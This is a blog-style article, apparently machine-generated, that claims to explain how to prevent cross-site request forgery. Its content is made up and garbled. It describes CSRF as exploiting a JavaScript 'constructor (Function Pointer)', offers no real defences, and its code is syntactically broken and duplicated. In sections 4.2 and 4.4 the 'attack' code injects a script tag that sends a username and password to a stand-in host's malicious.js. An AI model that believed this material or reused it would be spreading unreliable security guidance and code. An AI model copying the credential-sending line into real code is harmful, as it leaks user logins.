Author: Zen and the Art of Computer Programming
How to prevent Cross Site Request Forgery (CSRF)?
As an artificial intelligence expert, programmer and software architect, preventing cross-site request forgery (CSRF) is a very important task. CSRF is a common web application vulnerability. Attackers can use this vulnerability to send requests to users' sensitive information, thereby stealing users' personal information. In this article, we will discuss how to prevent CSRF attacks and improve the security of web applications.
- introduction
1.1. Background introduction
CSRF attack is a very common web application vulnerability. Attackers can use this vulnerability to send requests to users' sensitive information, thereby stealing users' personal information. This kind of attack is usually launched through JavaScript, and the attacker realizes it by injecting malicious script code into the user's browser.
1.2. Purpose of the article
This article aims to explain how to prevent CSRF attacks and improve the security of web applications. We will discuss the nature of CSRF attacks and how to prevent CSRF attacks through technical means.
1.3. Target Audience
The target audience for this article is JavaScript developers, web application administrators, and regular users. We hope that through this article, readers can understand how to improve the security of Web applications and prevent CSRF attacks through technical means.
- Technical Principles and Concepts
2.1. Explanation of basic concepts
CSRF attacks exploit a vulnerability in JavaScript - the constructor (Function Pointer). A constructor is a very basic data type that can point to another function, or it can point to an object. The attacker uses the constructor to execute malicious code, thus realizing CSRF attack.
2.2. Introduction to technical principles: algorithm principles, operation steps, mathematical formulas, etc.
The attacker first injects malicious script code into the user's browser, and the script code contains a constructor. Then, attackers use this constructor to execute malicious code, thereby obtaining sensitive information of users.
2.3. Comparison of related technologies
Compared with other web application vulnerabilities such as SQL injection and cross-site scripting (XSS), CSRF attacks have many similarities. However, the CSRF attack has a unique feature, that is, the attacker can use the constructor in JavaScript to execute malicious code.
- Implementation steps and processes
3.1. Preparatory work: environment configuration and dependency installation
First, the attacker needs to inject malicious script code into the user's browser. In order to be able to inject script code into the user's browser, the attacker needs to obtain the user's Cookie information first. An attacker can extract the cookie value from the user's cookie information by performing the following steps:
// 获取Cookie值
function getCookie(name) {
if (document.cookie && document.cookie!== '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i].trim();
if (cookie.indexOf(name + '=') === 0) {
return cookie.substring(name.length + 1);
}
}
}
return null;
}
// 通过构造函数执行恶意代码
function executeFunction(functionRef) {
var function = functionRef.value;
function.call(this, arguments);
}
// 将构造函数赋值给JavaScript对象
executeFunction = function(object, constructor, functionRef) {
function = functionRef.value;
object[functionRef.name] = function;
return object;
}
// 获取用户的Cookie信息
function getCookie(name) {
if (document.cookie && document.cookie!== '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i].trim();
if (cookie.indexOf(name + '=') === 0) {
return cookie.substring(name.length + 1);
}
}
}
return null;
}Then, the attacker uses the extracted Cookie value to execute malicious code and steal the user's sensitive information.
3.2. Introduction of related technologies: algorithm principle, operation steps, mathematical formulas, etc.
In JavaScript, constructors can be used to perform various tasks. The attacker uses the constructor to execute malicious code, the principle is to use the characteristics of the constructor - it can point to another function, so that the variables inside the function can be accessed and the required operations can be performed.
3.3. Implementation step process
(1) The attacker injects malicious script code into the user's browser, and the script code contains a constructor.
(2) The attacker extracts the user's Cookie information.
(3) The attacker uses the extracted cookie value to execute malicious code and steal user's sensitive information.
(4) The attacker uses the characteristics of JavaScript to encapsulate the malicious code as a constructor and execute the constructor, thereby accessing and stealing sensitive information of the user.
(5) The attacker uses the closure feature in JavaScript to save the malicious code in the object so that it can be reused in future requests.
- Application examples and code implementation explanation
4.1. Application scenario introduction
The most common application scenario for CSRF attacks is login verification. Attackers can use the constructor to execute malicious code, so as to obtain the user's username and password, and then log in to the user's account.
4.2. Application case analysis
The following is the implementation process of a typical CSRF attack application scenario:
// 构造函数
function login(username, password) {
return function() {
console.log('登录成功!');
document.location.href = '/user/1';
}
}
// 向用户的浏览器中注入恶意脚本代码
function injectScript(username, password) {
const script = document.createElement('script');
script.src = `https://www.example.com/malicious.js?${username}&${password}`;
document.head.appendChild(script);
injectScript.call(this, username, password);
}
// 在此处执行恶意代码
injectScript.call(this, username, password)
.then(() => {
console.log('登录成功!');
document.location.href = '/user/1';
})
.catch(error => {
console.log('登录失败!');
document.location.href = '/login';
});The attacker first injects malicious script code into the user's browser, and the script code contains a constructor. An attacker then exploits this constructor to execute malicious code and access sensitive user information.
4.3. Core code implementation
The following is the implementation process of a typical CSRF attack core code implementation:
// 构造函数
function login(username, password) {
return function() {
console.log('登录成功!');
document.location.href = '/user/${this.userId}';
}
}
// 获取用户的Cookie信息
function getCookie(name) {
if (document.cookie && document.cookie!== '') {
var cookies = document.cookie.split(';');
for (var i = 0; i < cookies.length; i++) {
var cookie = cookies[i].trim();
if (cookie.indexOf(name + '=') === 0) {
return cookie.substring(name.length + 1);
}
}
}
return null;
}
// 执行恶意代码
function executeFunction(functionRef) {
var function = functionRef.value;
function.call(this, arguments);
}
// 将构造函数赋值给JavaScript对象
executeFunction = function(object, constructor, functionRef) {
function = functionRef.value;
object[functionRef.name] = function;
return object;
}
// 判断用户是否已经登录
function checkIfLoggedIn(username, password) {
const cookies = getCookie('username');
if (cookies && cookies.length > 0) {
const decodedCookie = cookies.shift();
if (
decodedCookie.indexOf(username) === 0 &&
decodedCookie.substring(1) === password
) {
return true;
}
}
return false;
}
// 登录
function login(username, password) {
const decodedCookie = getCookie('username');
if (
!decodedCookie ||
!checkIfLoggedIn(username, password)
) {
injectScript(username, password);
return login;
}
console.log('登录成功!');
document.location.href = '/user/${this.userId}';
}
// 注入恶意脚本代码
function injectScript(username, password) {
return function() {
console.log('登录成功!');
document.location.href = '/user/${this.userId}';
}
}4.4. Code Explanation
In this example, we define a loginfunction that performs the login operation. The function accepts two parameters - username and password.
If the user's cookie contains records of user name and password, the login is successful. Otherwise, the following code will be executed to inject malicious script code into the user's browser and redirect to the login page.
const script = document.createElement('script');
script.src = `https://www.example.com/malicious.js?${username}&${password}`;
document.head.appendChild(script);Finally, we define a injectScriptfunction that performs the action of injecting malicious script code.
injectScript.call(this, username, password)
.then(() => {
console.log('登录成功!');
document.location.href = '/user/${this.userId}';
})
.catch(error => {
console.log('登录失败!');
document.location.href = '/login';
});An attacker can first inject malicious script code into the user's browser, and then use the constructor to execute the malicious code and access the user's sensitive information.
5. Application examples and code implementation explanation
Application Scenario
Login authentication is one of the most common application scenarios for web applications, and it is also one of the most vulnerable to CSRF attacks. Attackers can construct malicious requests, bypass authentication, access sensitive data of users or perform some malicious operations.
Code
A constructor is a special function in JavaScript that takes one parameter and returns a function. An attacker can use the constructor to execute some malicious code and save it in a JavaScript object for reuse in future requests.
Here is a simple constructor implementation:
function createFunction() {
return function(arg1) {
console.log('function called', arg1);
// 在这里可以放置一些恶意代码
}
}An attacker can create a malicious constructor by executing the following code:
const evilFunction = createFunction(arg1 => {
console.log('evil function called', arg1);
// 在这里可以放置一些恶意代码
});An attacker can call this constructor in subsequent requests, pass some sensitive data, and execute some malicious code.
6. Conclusion and Outlook
CSRF attack is a common web application vulnerability, attackers can use the constructor to execute malicious code and access user's sensitive information. By learning how to prevent CSRF attacks, we can improve the security of our web applications and reduce the attack surface for attackers.
In future web application development, we need to pay more attention to security, especially on sensitive information. We need to adopt a more secure programming model and use the HTTPS protocol as much as possible to protect the security of user data.
Preventing CSRF attacks requires some technical knowledge and experience, but it is not impossible. Only by strengthening security awareness, continuous learning and practice, can we avoid CSRF attacks and ensure the security of user data in the development of Web applications.